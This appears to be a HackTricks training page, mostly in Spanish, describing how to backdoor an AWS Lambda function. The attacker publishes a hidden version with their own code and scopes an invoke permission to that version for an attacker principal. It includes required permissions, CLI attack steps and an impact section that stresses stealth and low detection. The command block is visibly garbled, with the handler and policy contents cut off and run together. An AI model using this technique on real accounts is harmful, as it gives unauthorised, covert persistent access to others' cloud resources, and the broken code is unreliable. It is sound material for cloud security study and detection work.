# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version) {{#include ../../../../banners/hacktricks-training.md}} ## Resumen Crea una versión oculta de Lambda con la lógica del attacker y aplica una resource-based policy a esa versión específica (o alias) usando el parámetro `--qualifier` en `lambda add-permission`. Concede solo `lambda:InvokeFunction` sobre `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un attacker principal. Las invocaciones normales mediante el nombre de la función o el alias principal no se ven afectadas, mientras que el attacker puede invocar directamente el ARN de la versión con backdoor. Esto es más sigiloso que exponer un Function URL y no cambia el alias de tráfico principal. ## Required Permissions (attacker) - `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration` - `lambda:AddPermission` (to add version-scoped resource policy) - `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal) ## Pasos de ataque (CLI)
Publicar versión oculta, añadir permiso limitado por qualifier, invocar como attacker ```bash # Vars REGION=us-east-1 TARGET_FN= # [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version # aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version --region "$REGION" # 1) Build a small backdoor handler and publish as a new version cat > bdoor.py </dev/null cat > /tmp/invoke-policy.json </dev/null cat /tmp/ver-out.json # 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true ```
## Impacto - Concede una puerta trasera encubierta para invocar una versión oculta de la función sin modificar el alias principal ni exponer una Function URL. - Limita la exposición únicamente a la versión/alias especificada mediante la resource-based policy `Qualifier`, reduciendo la superficie de detección mientras mantiene una invocación fiable para el attacker principal. {{#include ../../../../banners/hacktricks-training.md}}